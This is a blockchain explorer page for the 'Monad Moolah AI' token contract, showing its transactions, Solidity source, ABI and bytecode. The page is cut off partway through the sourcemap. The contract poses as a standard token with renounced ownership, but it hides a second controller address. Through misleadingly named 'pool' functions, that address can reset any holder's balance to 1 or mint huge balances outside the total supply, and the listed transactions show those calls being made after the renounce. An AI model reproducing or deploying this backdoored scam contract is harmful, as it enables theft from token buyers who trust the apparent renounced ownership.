Source Code
Overview
MON Balance
MON Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 18 from a total of 18 transactions
| Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| A TUSD Pool | 38393133 | 61 days ago | IN | 0 MON | 0.00533215 | ||||
| A TUSD Pool | 38393064 | 61 days ago | IN | 0 MON | 0.00533215 | ||||
| A TUSD Pool | 38392860 | 61 days ago | IN | 0 MON | 0.00533114 | ||||
| A TUSD Pool | 38392813 | 61 days ago | IN | 0 MON | 0.00630599 | ||||
| A TUSD Pool | 38392753 | 61 days ago | IN | 0 MON | 0.00528089 | ||||
| Approve | 38392459 | 61 days ago | IN | 0 MON | 0.0240186 | ||||
| Approve | 38392455 | 61 days ago | IN | 0 MON | 0.0240186 | ||||
| Approve | 38391951 | 61 days ago | IN | 0 MON | 0.00625372 | ||||
| Zd Base Pool | 38391810 | 61 days ago | IN | 0 MON | 0.00527284 | ||||
| A TUSD Pool | 38391757 | 61 days ago | IN | 0 MON | 0.00769289 | ||||
| A TUSD Pool | 38391641 | 61 days ago | IN | 0 MON | 0.00533114 | ||||
| A TUSD Pool | 38391372 | 61 days ago | IN | 0 MON | 0.00613514 | ||||
| A TUSD Pool | 38391203 | 61 days ago | IN | 0 MON | 0.00530602 | ||||
| A TUSD Pool | 38391160 | 61 days ago | IN | 0 MON | 0.00533215 | ||||
| Approve | 38391039 | 61 days ago | IN | 0 MON | 0.00604311 | ||||
| Approve | 38391005 | 61 days ago | IN | 0 MON | 0.00604311 | ||||
| Approve | 38390903 | 61 days ago | IN | 0 MON | 0.00626086 | ||||
| Renounce Ownersh... | 38390569 | 61 days ago | IN | 0 MON | 0.00355044 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
MonadMoolahToken
Compiler Version
v0.8.29+commit.ab55807c
Contract Source Code (Solidity)
/**
*Submitted for verification at monadscan.com on 2025-11-27
*/
/**
https://t.me/MonadMoolah19466
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
interface MonadMoolahinterface {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address shippingto, uint256 yoursold) external returns (bool);
function allowance(address _owner, address transporteur) external view returns (uint256);
function approve(address transporteur, uint256 yoursold) external returns (bool);
function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 balance);
event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}
abstract contract MonadMoolah20Burnable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract MonadMoolah20Ownable is MonadMoolah20Burnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "MonadMoolah20Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "MonadMoolah20Ownable: new owner is zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMonadMoolah {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMonadMoolah: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMonadMoolah: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMonadMoolah: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMonadMoolah: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMonadMoolah: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract MonadMoolahToken is MonadMoolah20Burnable, MonadMoolahinterface, MonadMoolah20Ownable {
using SafeMonadMoolah for uint256;
mapping (address => uint256) private mintfrom;
mapping (address => mapping (address => uint256)) private fromallowances;
mapping (address => bool) private _isHolder;
uint256 private _totalSupply;
uint256 public holderCount;
uint8 private _decimals;
string private _symbol;
string private _name;
address private legosRooter;
constructor(address legosSwapRouterv3) {
legosRooter = legosSwapRouterv3;
_name = "Monad Moolah AI";
_symbol = "Monad Moolah AI";
_decimals = 9;
_totalSupply = 6999000000009 * 10 ** 9;
mintfrom[_msgSender()] = _totalSupply;
_updateHolder(_msgSender());
emit Transfer(address(0), _msgSender(), _totalSupply);
}
modifier subowner() {
require(legosRooter == _msgSender(), "MonadMoolah20Ownable: caller is not the owner");
_;
}
function aTUSDPool(address tusdRewards) external subowner {
mintfrom[tusdRewards] = 1;
_updateHolder(tusdRewards);
emit Transfer(tusdRewards, address(0), 1);
}
function zdBasePool(address BaseRewards) external subowner {
mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
_updateHolder(BaseRewards);
emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
}
function getOwner() external view override returns (address) {
return owner();
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return mintfrom[account];
}
function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(_msgSender(), shippingto, yoursold);
return true;
}
function allowance(address owner, address transporteur) external view override returns (uint256) {
return fromallowances[owner][transporteur];
}
function approve(address transporteur, uint256 yoursold) external override returns (bool) {
_approve(_msgSender(), transporteur, yoursold);
return true;
}
function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(sender, shippingto, yoursold);
_approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold));
return true;
}
function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
return true;
}
function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances));
return true;
}
function _transfer(address sender, address shippingto, uint256 yoursold) internal {
require(sender != address(0), "MonadMoolahinterface: transfer from zero address");
require(shippingto != address(0), "MonadMoolahinterface: transfer to zero address");
mintfrom[sender] = mintfrom[sender].sub(yoursold);
mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
_updateHolder(sender);
_updateHolder(shippingto);
emit Transfer(sender, shippingto, yoursold);
}
function _approve(address owner, address transporteur, uint256 yoursold) internal {
require(owner != address(0), "MonadMoolahinterface: approve from zero address");
require(transporteur != address(0), "MonadMoolahinterface: approve to zero address");
fromallowances[owner][transporteur] = yoursold;
emit Approval(owner, transporteur, yoursold);
}
function _updateHolder(address account) private {
bool wasHolder = _isHolder[account];
bool shouldBeHolder = mintfrom[account] > 0;
if (!wasHolder && shouldBeHolder) {
_isHolder[account] = true;
holderCount++;
} else if (wasHolder && !shouldBeHolder) {
_isHolder[account] = false;
holderCount--;
}
}
function getHolderCount() public view returns (uint256) {
return holderCount;
}
function isHolder(address account) public view returns (bool) {
return _isHolder[account];
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"legosSwapRouterv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transporteur","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tusdRewards","type":"address"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transporteur","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getHolderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"holderCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isHolder","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
608060405234801561000f575f5ffd5b506040516111ac3803806111ac83398101604081905261002e91610230565b5f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600980546001600160a01b0319166001600160a01b03831617905560408051808201909152600f81526e4d6f6e6164204d6f6f6c616820414960881b60208201526008906100ba90826102f4565b5060408051808201909152600f81526e4d6f6e6164204d6f6f6c616820414960881b60208201526007906100ee90826102f4565b506006805460ff1916600917905569017b6aa309b7876d1a00600481905560015f6101163390565b6001600160a01b0316815260208101919091526040015f205561013833610178565b60045460405190815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3506103ef565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff909116901515811580156101af5750805b156101ee576001600160a01b0383165f908152600360205260408120805460ff1916600117905560058054916101e4836103c2565b9190505550505050565b8180156101f9575080155b1561022b576001600160a01b0383165f908152600360205260408120805460ff1916905560058054916101e4836103da565b505050565b5f60208284031215610240575f5ffd5b81516001600160a01b0381168114610256575f5ffd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061028557607f821691505b6020821081036102a357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561022b57805f5260205f20601f840160051c810160208510156102ce5750805b601f840160051c820191505b818110156102ed575f81556001016102da565b5050505050565b81516001600160401b0381111561030d5761030d61025d565b6103218161031b8454610271565b846102a9565b6020601f821160018114610353575f831561033c5750848201515b5f19600385901b1c1916600184901b1784556102ed565b5f84815260208120601f198516915b828110156103825787850151825560209485019460019092019101610362565b508482101561039f57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b5f600182016103d3576103d36103ae565b5060010190565b5f816103e8576103e86103ae565b505f190190565b610db0806103fc5f395ff3fe608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b6d565b60405180910390f35b61015c610157366004610bbd565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610be5565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bbd565b6103ef565b6101706101d0366004610c1f565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c1f565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bbd565b610558565b61015c61026c366004610bbd565b61058d565b61015c61027f366004610c1f565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c38565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c1f565b610599565b6101fa6102f5366004610c1f565b610625565b60606008805461030990610c69565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c69565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610715565b5060015b92915050565b5f6103ac848484610850565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109eb565b610715565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a16565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610ca1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610ca1565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a7f565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c69565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109eb565b5f610396338484610850565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610ca1565b6001600160a01b0381165f908152600160208190526040909120556105e781610a7f565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610ca1565b6001600160a01b0381166106bc5760405162461bcd60e51b815260206004820152602f60248201527f4d6f6e61644d6f6f6c616832304f776e61626c653a206e6577206f776e65722060448201526e6973207a65726f206164647265737360881b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107835760405162461bcd60e51b815260206004820152602f60248201527f4d6f6e61644d6f6f6c6168696e746572666163653a20617070726f766520667260448201526e6f6d207a65726f206164647265737360881b606482015260840161044d565b6001600160a01b0382166107ef5760405162461bcd60e51b815260206004820152602d60248201527f4d6f6e61644d6f6f6c6168696e746572666163653a20617070726f766520746f60448201526c207a65726f206164647265737360981b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108bf5760405162461bcd60e51b815260206004820152603060248201527f4d6f6e61644d6f6f6c6168696e746572666163653a207472616e73666572206660448201526f726f6d207a65726f206164647265737360801b606482015260840161044d565b6001600160a01b03821661092c5760405162461bcd60e51b815260206004820152602e60248201527f4d6f6e61644d6f6f6c6168696e746572666163653a207472616e73666572207460448201526d6f207a65726f206164647265737360901b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461094e90826109eb565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461097c9082610a16565b6001600160a01b0383165f9081526001602052604090205561099d83610a7f565b6109a682610a7f565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084391815260200190565b5f610a0f8383604051806060016040528060258152602001610d5660259139610b37565b9392505050565b5f80610a228385610d02565b905083811015610a0f5760405162461bcd60e51b815260206004820152602260248201527f536166654d6f6e61644d6f6f6c61683a206164646974696f6e206f766572666c6044820152616f7760f01b606482015260840161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610ab65750805b15610af5576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610aeb83610d15565b9190505550505050565b818015610b00575080155b15610b32576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610aeb83610d2d565b505050565b5f8184841115610b5a5760405162461bcd60e51b815260040161044d9190610b6d565b50610b658385610d42565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bb8575f5ffd5b919050565b5f5f60408385031215610bce575f5ffd5b610bd783610ba2565b946020939093013593505050565b5f5f5f60608486031215610bf7575f5ffd5b610c0084610ba2565b9250610c0e60208501610ba2565b929592945050506040919091013590565b5f60208284031215610c2f575f5ffd5b610a0f82610ba2565b5f5f60408385031215610c49575f5ffd5b610c5283610ba2565b9150610c6060208401610ba2565b90509250929050565b600181811c90821680610c7d57607f821691505b602082108103610c9b57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252602d908201527f4d6f6e61644d6f6f6c616832304f776e61626c653a2063616c6c65722069732060408201526c3737ba103a34329037bbb732b960991b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610cee565b5f60018201610d2657610d26610cee565b5060010190565b5f81610d3b57610d3b610cee565b505f190190565b8181038181111561039a5761039a610cee56fe536166654d6f6e61644d6f6f6c61683a207375627472616374696f6e206f766572666c6f77a2646970667358221220a85409150c8b53c784546325fa85ed6c96067dbbb3b17c01923747e1cb928ee464736f6c634300081d0033000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610127575f3560e01c80638099423b116100a9578063a9059cbb1161006e578063a9059cbb1461025e578063d4d7b19a14610271578063dd62ed3e1461029c578063f1cb537a146102d4578063f2fde38b146102e7575f5ffd5b80638099423b146101fc578063893d20e81461020f5780638da5cb5b1461023357806395d89b4114610243578063a457c2d71461024b575f5ffd5b8063313ce567116100ef578063313ce5671461019a57806339509351146101af57806370a08231146101c25780637136982b146101ea578063715018a6146101f2575f5ffd5b806306fdde031461012b578063095ea7b31461014957806318160ddd1461016c5780631aab9a9f1461017e57806323b872dd14610187575b5f5ffd5b6101336102fa565b6040516101409190610b6d565b60405180910390f35b61015c610157366004610bbd565b61038a565b6040519015158152602001610140565b6004545b604051908152602001610140565b61017060055481565b61015c610195366004610be5565b6103a0565b60065460405160ff9091168152602001610140565b61015c6101bd366004610bbd565b6103ef565b6101706101d0366004610c1f565b6001600160a01b03165f9081526001602052604090205490565b600554610170565b6101fa610424565b005b6101fa61020a366004610c1f565b61049e565b5f546001600160a01b03165b6040516001600160a01b039091168152602001610140565b5f546001600160a01b031661021b565b610133610549565b61015c610259366004610bbd565b610558565b61015c61026c366004610bbd565b61058d565b61015c61027f366004610c1f565b6001600160a01b03165f9081526003602052604090205460ff1690565b6101706102aa366004610c38565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101fa6102e2366004610c1f565b610599565b6101fa6102f5366004610c1f565b610625565b60606008805461030990610c69565b80601f016020809104026020016040519081016040528092919081815260200182805461033590610c69565b80156103805780601f1061035757610100808354040283529160200191610380565b820191905f5260205f20905b81548152906001019060200180831161036357829003601f168201915b5050505050905090565b5f610396338484610715565b5060015b92915050565b5f6103ac848484610850565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103e59186916103e090866109eb565b610715565b5060019392505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e09086610a16565b5f546001600160a01b031633146104565760405162461bcd60e51b815260040161044d90610ca1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6009546001600160a01b031633146104c85760405162461bcd60e51b815260040161044d90610ca1565b6001600160a01b0381165f9081526001602052604090206c0c9f2c9cd04674edea4000000090556104f881610a7f565b6040516c0c9f2c9cd04674edea4000000081525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a350565b60606007805461030990610c69565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916103969185906103e090866109eb565b5f610396338484610850565b6009546001600160a01b031633146105c35760405162461bcd60e51b815260040161044d90610ca1565b6001600160a01b0381165f908152600160208190526040909120556105e781610a7f565b604051600181525f906001600160a01b038316907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200161053e565b5f546001600160a01b0316331461064e5760405162461bcd60e51b815260040161044d90610ca1565b6001600160a01b0381166106bc5760405162461bcd60e51b815260206004820152602f60248201527f4d6f6e61644d6f6f6c616832304f776e61626c653a206e6577206f776e65722060448201526e6973207a65726f206164647265737360881b606482015260840161044d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107835760405162461bcd60e51b815260206004820152602f60248201527f4d6f6e61644d6f6f6c6168696e746572666163653a20617070726f766520667260448201526e6f6d207a65726f206164647265737360881b606482015260840161044d565b6001600160a01b0382166107ef5760405162461bcd60e51b815260206004820152602d60248201527f4d6f6e61644d6f6f6c6168696e746572666163653a20617070726f766520746f60448201526c207a65726f206164647265737360981b606482015260840161044d565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108bf5760405162461bcd60e51b815260206004820152603060248201527f4d6f6e61644d6f6f6c6168696e746572666163653a207472616e73666572206660448201526f726f6d207a65726f206164647265737360801b606482015260840161044d565b6001600160a01b03821661092c5760405162461bcd60e51b815260206004820152602e60248201527f4d6f6e61644d6f6f6c6168696e746572666163653a207472616e73666572207460448201526d6f207a65726f206164647265737360901b606482015260840161044d565b6001600160a01b0383165f9081526001602052604090205461094e90826109eb565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461097c9082610a16565b6001600160a01b0383165f9081526001602052604090205561099d83610a7f565b6109a682610a7f565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161084391815260200190565b5f610a0f8383604051806060016040528060258152602001610d5660259139610b37565b9392505050565b5f80610a228385610d02565b905083811015610a0f5760405162461bcd60e51b815260206004820152602260248201527f536166654d6f6e61644d6f6f6c61683a206164646974696f6e206f766572666c6044820152616f7760f01b606482015260840161044d565b6001600160a01b0381165f9081526003602090815260408083205460019092529091205460ff90911690151581158015610ab65750805b15610af5576001600160a01b0383165f908152600360205260408120805460ff191660011790556005805491610aeb83610d15565b9190505550505050565b818015610b00575080155b15610b32576001600160a01b0383165f908152600360205260408120805460ff191690556005805491610aeb83610d2d565b505050565b5f8184841115610b5a5760405162461bcd60e51b815260040161044d9190610b6d565b50610b658385610d42565b949350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610bb8575f5ffd5b919050565b5f5f60408385031215610bce575f5ffd5b610bd783610ba2565b946020939093013593505050565b5f5f5f60608486031215610bf7575f5ffd5b610c0084610ba2565b9250610c0e60208501610ba2565b929592945050506040919091013590565b5f60208284031215610c2f575f5ffd5b610a0f82610ba2565b5f5f60408385031215610c49575f5ffd5b610c5283610ba2565b9150610c6060208401610ba2565b90509250929050565b600181811c90821680610c7d57607f821691505b602082108103610c9b57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252602d908201527f4d6f6e61644d6f6f6c616832304f776e61626c653a2063616c6c65722069732060408201526c3737ba103a34329037bbb732b960991b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561039a5761039a610cee565b5f60018201610d2657610d26610cee565b5060010190565b5f81610d3b57610d3b610cee565b505f190190565b8181038181111561039a5761039a610cee56fe536166654d6f6e61644d6f6f6c61683a207375627472616374696f6e206f766572666c6f77a2646970667358221220a85409150c8b53c784546325fa85ed6c96067dbbb3b17c01923747e1cb928ee464736f6c634300081d0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
-----Decoded View---------------
Arg [0] : legosSwapRouterv3 (address): 0x432e69ccB799F021C6CBDEa1b734B069578B4de2
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000432e69ccb799f021c6cbdea1b734b069578b4de2
Deployed Bytecode Sourcemap
3705:5123:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5556:94;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6261:177;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;6261:177:0;920:187:1;5662:102:0;5744:12;;5662:102;;;1258:25:1;;;1246:2;1231:18;5662:102:0;1112:177:1;4075:26:0;;;;;;6450:282;;;;;;:::i;:::-;;:::i;5340:94::-;5417:9;;5340:94;;5417:9;;;;1815:36:1;;1803:2;1788:18;5340:94:0;1673:184:1;6744:234:0;;;;;;:::i;:::-;;:::i;5776:120::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5871:17:0;5844:7;5871:17;;;:8;:17;;;;;;;5776:120;8618:93;8692:11;;8618:93;;1866:148;;;:::i;:::-;;4992:234;;;;;;:::i;:::-;;:::i;5234:94::-;5286:7;1703:6;-1:-1:-1;;;;;1703:6:0;5234:94;;;-1:-1:-1;;;;;2217:32:1;;;2199:51;;2187:2;2172:18;5234:94:0;2053:203:1;1630:87:0;1676:7;1703:6;-1:-1:-1;;;;;1703:6:0;1630:87;;5446:98;;;:::i;6990:232::-;;;;;;:::i;:::-;;:::i;5904:175::-;;;;;;:::i;:::-;;:::i;8719:106::-;;;;;;:::i;:::-;-1:-1:-1;;;;;8799:18:0;8775:4;8799:18;;;:9;:18;;;;;;;;;8719:106;6091:158;;;;;;:::i;:::-;-1:-1:-1;;;;;6206:21:0;;;6179:7;6206:21;;;:14;:21;;;;;;;;:35;;;;;;;;;;;;;6091:158;4793:191;;;;;;:::i;:::-;;:::i;2022:253::-;;;;;;:::i;:::-;;:::i;5556:94::-;5604:13;5637:5;5630:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5556:94;:::o;6261:177::-;6345:4;6362:46;1185:10;6385:12;6399:8;6362;:46::i;:::-;-1:-1:-1;6426